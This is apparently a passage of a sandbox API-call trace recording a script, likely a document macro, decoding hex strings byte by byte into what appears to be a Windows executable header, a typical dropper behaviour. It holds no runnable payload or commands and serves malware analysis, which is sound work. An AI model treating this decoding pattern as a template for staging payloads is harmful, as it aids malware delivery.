[0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Z", lpUsedDefaultChar=0x0) returned 1 [0191.019] VarParseNumFromStr (in: strIn="&H90", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.019] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0191.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90", lpUsedDefaultChar=0x0) returned 1 [0191.020] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.020] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.020] VarParseNumFromStr (in: strIn="&H3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.020] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\x03") returned 1 [0191.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x03", lpUsedDefaultChar=0x0) returned 1 [0191.021] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.021] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.022] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.022] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.023] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.023] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.024] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.024] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0191.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0191.025] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.025] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.025] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.025] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.026] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.026] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.027] VarParseNumFromStr (in: strIn="&HFF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.027] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="ÿ") returned 1 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ÿ", lpUsedDefaultChar=0x0) returned 1 [0191.028] VarParseNumFromStr (in: strIn="&HFF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.028] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="ÿ") returned 1 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ÿ", lpUsedDefaultChar=0x0) returned 1 [0191.029] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.029] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.030] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.030] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.031] VarParseNumFromStr (in: strIn="&HB8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.031] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="¸") returned 1 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¸", lpUsedDefaultChar=0x0) returned 1 [0191.032] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.032] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.032] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.033] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.033] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.033] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.034] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.034] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.035] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.035] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 